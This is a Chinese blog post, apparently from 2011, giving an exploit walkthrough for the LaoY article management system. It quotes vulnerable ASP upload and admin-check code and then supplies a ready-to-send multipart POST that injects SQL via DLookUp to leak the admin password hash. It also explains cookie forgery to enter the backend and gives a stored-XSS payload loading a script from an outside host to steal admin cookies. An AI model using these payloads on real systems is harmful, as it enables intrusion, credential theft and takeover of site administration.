老Y文章管理系统漏洞

2011, May 10, 8:02 PM. 漏洞分析
Submitted by admin

影响的版本:2.5 3.0  acces  更久的版本没看


User/Upload.asp文件
34-50行

01   if Uprequest.form("file_Err")<>0  then
02   select case Uprequest.form("file_Err")
03   case 1:str="<div style=""padding-top:5px;padding-bottom:5px;""> <font color=blue>"&Uprequest.MaxSize/1024&"K [<a href='javascript:history.go(-1)'>重新上传</a>]</font></div>"
04   case 2:str="<div style=""padding-top:5px;padding-bottom:5px;""> <font color=blue>文件格式不对 [<a href='javascript:history.go(-1)']>重新上传</a>]</font></div>"
05   case 3:str="<div style=""padding-top:5px;padding-bottom:5px;""> <font color=blue>文件太大且格式不对 [<a href='javascript:history.go(-1)'>重新上传</a>]</font></div>"
06   end select
07   response.write str
08   else
09                  '注意这里,上传头像成功后,把头像路径更新到了UserFace字段。
10         sql="Update "&tbname&"_User set UserFace = '"&Uprequest.Form("file")&"' where ID= "&LaoYID
11         conn.execute(sql)
12   response.write "<script language=""javascript"">parent.UserReg.UserFace.value='"&Uprequest.Form("file")&"';" 
13   response.write "</script>"
14   response.write "<div style=""margin-top:6px;""><font color=red>上传成功</font>,刷新该页面即可看到新的头像。<a href='javascript:history.go(-1)'>重新上传</a></div>"
15     
16   conn.close
17   set conn=nothing
18   end if
60-67行代码:
1 '生成头像
2 '这里要注意,如果不是gif后缀,则对上传的头像进行长、宽处理,所以,为了上传动作顺利进行,大家还是传个gif格式的文件上去
3 If right(RV_img,4)<>".gif" then
4 Dim S_Width,S_Height,H_Temp,W_Temp
5 S_Width=100
6 S_Height=100
7 Set Jpeg = Server.CreateObject("Persits.Jpeg") '创建实例
8 Path = Server.MapPath(RV_img) '处理图片路径
9 Jpeg.Open Path '打开图片
上传头像抓包内容,我用的火狐浏览器插件livehttp,我这里就不把头部的东西放上来了。
发送以下的PostData。
01 -----------------------------4827543632391\r\n
02 Content-Disposition: form-data; name="file" ;filename="c:\1.gif"\r\n
03 \r\n
04 gif87a
05 123123123123123123123
06 \r\n
07 -----------------------------4827543632391\r\n
08 Content-Disposition: form-data; name="file"\r\n
09 \r\n
10 //重点在这里,DLookup是什么东西,怎么用的,请自行百度、google查询。谢谢
11 abc',Email=DLookUp('admin_pass','Yao_admin', 'Id=1'),Sex='0
12 \r\n
13 -----------------------------4827543632391\r\n
14 Content-Disposition: form-data; name="submit"\r\n
15 \r\n
16 é?′?\r\n
17 -----------------------------4827543632391--\r\n
返回后,可以看到自己EMAIL一项变成了管理员的MD5加密串。老Y文章管理系统作者在MD5.asp里面做了手脚,保存的MD5为前16位,无法破解密文。不过没有关系··
可以Cookie欺骗登陆后台···


admin/admin_check.asp
 
01 <%
02         Dim LaoYAdminID,LaoYAdminName,LaoYAdminPass,IsAdmin,rs5
03                '太弱了····
04         LaoYAdminID                =LaoYRequest(Request.Cookies("LaoYAdmin")("UserID"))
05         LaoYAdminName        =CheckStr(Request.Cookies("LaoYAdmin")("UserName"))
06         LaoYAdminPass        =CheckStr(Request.Cookies("LaoYAdmin")("UserPass"))
07           
08         If LaoYAdminID<>"" and LaoYAdminName<>"" and LaoYAdminPass<>"" then
09         set rs5 = server.CreateObject ("adodb.recordset")
10         sql="Select Top 1 * from ["&tbname&"_Admin] where id="& LaoYAdminID &" and Admin_Pass='"&LaoYAdminPass&"' and Admin_Name='"&LaoYAdminName&"'"
11         on error resume next
12         rs5.open sql,conn,1,1
13         Dim myadminid,myadminpass,myadminuser
14         myadminid                =rs5("ID")
15         myadminpass                =rs5("Admin_Pass")
16         myadminuser                =rs5("Admin_Name")
17         myadminip                =rs5("Admin_IP")
18         yaomight                =rs5("AdminMight")
19         yaoadmintype        =rs5("AdminType")
20         yaoadpower                =rs5("ADPower")
21         yaoWritePower        =rs5("WritePower")
22         yaoManagePower        =rs5("ManagePower")
23         rs5.close
24         set rs5=nothing
25                                 '太弱了····
26                 If myadminid<>Int(LaoYAdminID) or myadminpass<>LaoYAdminPass or myadminuser<>LaoYAdminName or myadminip<>GetIP Then
27                         IsAdmin=0
28                 Else
29                         IsAdmin=1
30                 End if
31         End if
32           
33         If IsAdmin<>1 then
34         Response.Redirect ""&SitePath&""&SiteAdmin&"/Admin_Login.asp"
35         End if
36 %>
这个你懂的···读出管理员的 ID、Admin_Pass,name,IP就可以登陆后台了。

我相信实际情况中大部分老Y系统后台都修改了名字,对于这种猥琐至极的管理员,我们就要使用更加超级无敌猥琐的方法···

XSS。。。

POSTDATA中

abc',Email=DLookUp('admin_pass','Yao_admin', 'Id=1'),Sex='0

我们可以这样写

abc',UserIp='<script src=http://xxbing.com/a.js></script>',Sex='0
管理员打开后台,查看所有用户列表时,就会被X到了··
至于他什么时候会查看所有用户,我也不知道,相信你能够用社工的手法,让他主动去看你的注册资料。
a.js代码的功能就是捕捉管理员后台地址和cookie地址,如果你想,还可以在里面添加其他猥琐功能,比如自动备份数据,自动添加新的管理员。
那随你了。a.js代码在这里就不提供了。


over!

Tags: 老y

« 上一篇 | 下一篇 »

只显示10条记录相关文章
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):